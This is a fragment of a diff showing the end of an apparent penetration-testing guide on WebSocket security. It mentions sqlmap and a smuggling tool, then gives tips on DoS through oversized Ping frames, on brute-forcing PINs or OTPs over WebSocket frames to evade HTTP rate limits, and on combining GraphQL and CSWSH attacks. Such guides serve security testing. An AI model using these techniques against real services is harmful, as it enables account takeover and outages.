# Requires an intermediate script that accepts HTTP from sqlmap and translates to WS frames.
|
|
170
|
+
|
|
171
|
+
# Stealify/websocket-smuggle
|
|
172
|
+
# Testing reverse proxies for WS upgrade misconfigurations
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
## Pro Tips
|
|
176
|
+
|
|
177
|
+
1. **Examine Ping/Pong Frames:** WebSockets use internal OpCodes for Ping (`0x9`) and Pong (`0xA`) to keep connections alive. Sometimes, sending massive Ping payloads (which RFC says must be echoed back in the Pong) can lead to buffer overflows or DoS.
|
|
178
|
+
2. **Binary Framing:** If the application uses binary frames (`OpCode 0x2`) instead of Text frames (often protobufs or MessagePack), standard interception tools might mangle the payload. You will need to write a custom Burp extension or Python script (`websocket-client` library) to serialize/deserialize correctly.
|
|
179
|
+
3. **Rate Limiting:** IP-based rate limiting often applies to the *HTTP Handshake endpoint*, but completely ignores the frequency of *frames* sent over the established connection. If you need to brute-force a pin or OTP, do it via WebSocket frames instead of HTTP POSTs.
|
|
180
|
+
4. **GraphQL Subscriptions:** Almost all GraphQL subscriptions are implemented via WebSockets (like `subscriptions-transport-ws`). Apply both standard GraphQL attacks (Introspection, Batching DoS) AND WebSocket attacks (CSWSH) simultaneously.
|